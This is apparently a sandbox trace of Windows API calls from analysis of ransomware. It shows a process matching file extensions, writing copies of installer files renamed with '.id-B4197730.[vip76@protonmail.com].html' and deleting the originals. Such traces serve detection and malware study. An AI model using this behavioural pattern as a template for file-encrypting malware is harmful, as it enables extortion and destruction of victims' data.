	[0062.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString=".bz2") returned 4
	[0062.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString=".7z") returned 3
	[0062.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.078] lstrlenW (lpString=".dbf") returned 4
	[0062.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.078] lstrlenW (lpString=".1cd") returned 4
	[0062.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.079] lstrlenW (lpString=".jpg") returned 4
	[0062.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.079] lstrlenW (lpString=".doc") returned 4
	[0062.079] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString=".docx") returned 5
	[0062.079] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.079] lstrlenW (lpString=".pdf") returned 4
	[0062.079] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString=".xls") returned 4
	[0062.079] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString=".xlsx") returned 5
	[0062.079] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.079] lstrlenW (lpString=".ppt") returned 4
	[0062.079] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.079] lstrlenW (lpString=".zip") returned 4
	[0062.079] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.079] lstrlenW (lpString=".rar") returned 4
	[0062.079] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString=".bz2") returned 4
	[0062.079] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.079] lstrlenW (lpString=".7z") returned 3
	[0062.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.080] lstrlenW (lpString=".dbf") returned 4
	[0062.080] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.080] lstrlenW (lpString=".1cd") returned 4
	[0062.080] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.080] lstrlenW (lpString=".jpg") returned 4
	[0062.080] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.080] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.080] lstrlenW (lpString="eula.rtf") returned 8
	[0062.080] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.080] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3046) returned 1
	[0062.080] CloseHandle (hObject=0x328) returned 1
	[0062.080] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0062.080] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.081] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.081] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.081] GetLastError () returned 0x0
	[0062.081] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xbe6, lpOverlapped=0x0) returned 1
	[0062.083] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0062.084] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.084] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.084] SetEndOfFile (hFile=0x334) returned 1
	[0062.084] CloseHandle (hObject=0x334) returned 1
	[0062.085] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.085] SetEndOfFile (hFile=0x328) returned 1
	[0062.086] CloseHandle (hObject=0x328) returned 1
	[0062.086] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.086] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1
	[0062.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.086] lstrlenW (lpString=".doc") returned 4
	[0062.087] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString=".docx") returned 5
	[0062.087] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.087] lstrlenW (lpString=".pdf") returned 4
	[0062.087] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString=".xls") returned 4
	[0062.087] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.087] lstrlenW (lpString=".xlsx") returned 5
	[0062.087] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.087] lstrlenW (lpString=".ppt") returned 4
	[0062.087] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.087] lstrlenW (lpString=".zip") returned 4
	[0062.087] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.087] lstrlenW (lpString=".rar") returned 4
	[0062.087] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString=".bz2") returned 4
	[0062.087] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString=".7z") returned 3
	[0062.087] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.087] lstrlenW (lpString=".dbf") returned 4
	[0062.087] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.087] lstrlenW (lpString=".1cd") returned 4
	[0062.087] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.087] lstrlenW (lpString=".jpg") returned 4
	[0062.087] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.088] lstrlenW (lpString=".doc") returned 4
	[0062.088] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString=".docx") returned 5
	[0062.088] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.088] lstrlenW (lpString=".pdf") returned 4
	[0062.088] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString=".xls") returned 4
	[0062.088] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.088] lstrlenW (lpString=".xlsx") returned 5
	[0062.088] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.088] lstrlenW (lpString=".ppt") returned 4
	[0062.088] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.088] lstrlenW (lpString=".zip") returned 4
	[0062.088] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.088] lstrlenW (lpString=".rar") returned 4
	[0062.088] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString=".bz2") returned 4
	[0062.088] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString=".7z") returned 3
	[0062.088] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.088] lstrlenW (lpString=".dbf") returned 4
	[0062.088] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.088] lstrlenW (lpString=".1cd") returned 4
	[0062.088] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0062.088] lstrlenW (lpString=".jpg") returned 4
	[0062.089] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.089] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.089] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.089] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=79296) returned 1
	[0062.089] CloseHandle (hObject=0x328) returned 1
	[0062.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0062.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.089] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.090] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.090] GetLastError () returned 0x0
	[0062.090] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x135c0, lpOverlapped=0x0) returned 1
	[0062.494] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x135d0, lpOverlapped=0x0) returned 1
	[0062.497] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.497] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.497] SetEndOfFile (hFile=0x334) returned 1
	[0062.497] CloseHandle (hObject=0x334) returned 1
	[0062.500] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.501] SetEndOfFile (hFile=0x328) returned 1
	[0062.502] CloseHandle (hObject=0x328) returned 1
	[0062.502] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.503] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1
	[0062.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.503] lstrlenW (lpString=".doc") returned 4
	[0062.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.503] lstrlenW (lpString=".docx") returned 5
	[0062.503] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.503] lstrlenW (lpString=".pdf") returned 4
	[0062.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.503] lstrlenW (lpString=".xls") returned 4
	[0062.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString=".xlsx") returned 5
	[0062.504] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.504] lstrlenW (lpString=".ppt") returned 4
	[0062.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.504] lstrlenW (lpString=".zip") returned 4
	[0062.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.504] lstrlenW (lpString=".rar") returned 4
	[0062.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString=".bz2") returned 4
	[0062.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString=".7z") returned 3
	[0062.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.504] lstrlenW (lpString=".dbf") returned 4
	[0062.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.504] lstrlenW (lpString=".1cd") returned 4
	[0062.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.504] lstrlenW (lpString=".jpg") returned 4
	[0062.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.504] lstrlenW (lpString=".doc") returned 4
	[0062.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString=".docx") returned 5
	[0062.505] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.505] lstrlenW (lpString=".pdf") returned 4
	[0062.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString=".xls") returned 4
	[0062.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString=".xlsx") returned 5
	[0062.505] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.505] lstrlenW (lpString=".ppt") returned 4
	[0062.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.505] lstrlenW (lpString=".zip") returned 4
	[0062.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.505] lstrlenW (lpString=".rar") returned 4
	[0062.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString=".bz2") returned 4
	[0062.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString=".7z") returned 3
	[0062.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.505] lstrlenW (lpString=".dbf") returned 4
	[0062.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.505] lstrlenW (lpString=".1cd") returned 4
	[0062.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0062.506] lstrlenW (lpString=".jpg") returned 4
	[0062.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.506] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.506] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.506] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.506] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=80738) returned 1
	[0062.506] CloseHandle (hObject=0x328) returned 1
	[0062.506] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0062.506] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.507] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.507] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.507] GetLastError () returned 0x0
	[0062.507] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x13b62, lpOverlapped=0x0) returned 1
	[0062.512] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x13b70, lpOverlapped=0x0) returned 1
	[0062.515] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.515] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.515] SetEndOfFile (hFile=0x334) returned 1
	[0062.515] CloseHandle (hObject=0x334) returned 1
	[0062.518] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.518] SetEndOfFile (hFile=0x328) returned 1
	[0062.520] CloseHandle (hObject=0x328) returned 1
	[0062.520] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.520] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1
	[0062.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.520] lstrlenW (lpString=".doc") returned 4
	[0062.520] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.520] lstrlenW (lpString=".docx") returned 5
	[0062.521] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.521] lstrlenW (lpString=".pdf") returned 4
	[0062.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.521] lstrlenW (lpString=".xls") returned 4
	[0062.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.521] lstrlenW (lpString=".xlsx") returned 5
	[0062.521] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.521] lstrlenW (lpString=".ppt") returned 4
	[0062.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.521] lstrlenW (lpString=".zip") returned 4
	[0062.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.521] lstrlenW (lpString=".rar") returned 4
	[0062.522] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.522] lstrlenW (lpString=".bz2") returned 4
	[0062.522] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.522] lstrlenW (lpString=".7z") returned 3
	[0062.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.522] lstrlenW (lpString=".dbf") returned 4
	[0062.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.522] lstrlenW (lpString=".1cd") returned 4
	[0062.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.522] lstrlenW (lpString=".jpg") returned 4
	[0062.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.522] lstrlenW (lpString=".doc") returned 4
	[0062.522] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.522] lstrlenW (lpString=".docx") returned 5
	[0062.522] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.522] lstrlenW (lpString=".pdf") returned 4
	[0062.522] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString=".xls") returned 4
	[0062.523] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString=".xlsx") returned 5
	[0062.523] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.523] lstrlenW (lpString=".ppt") returned 4
	[0062.523] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.523] lstrlenW (lpString=".zip") returned 4
	[0062.523] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.523] lstrlenW (lpString=".rar") returned 4
	[0062.523] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString=".bz2") returned 4
	[0062.523] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString=".7z") returned 3
	[0062.523] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
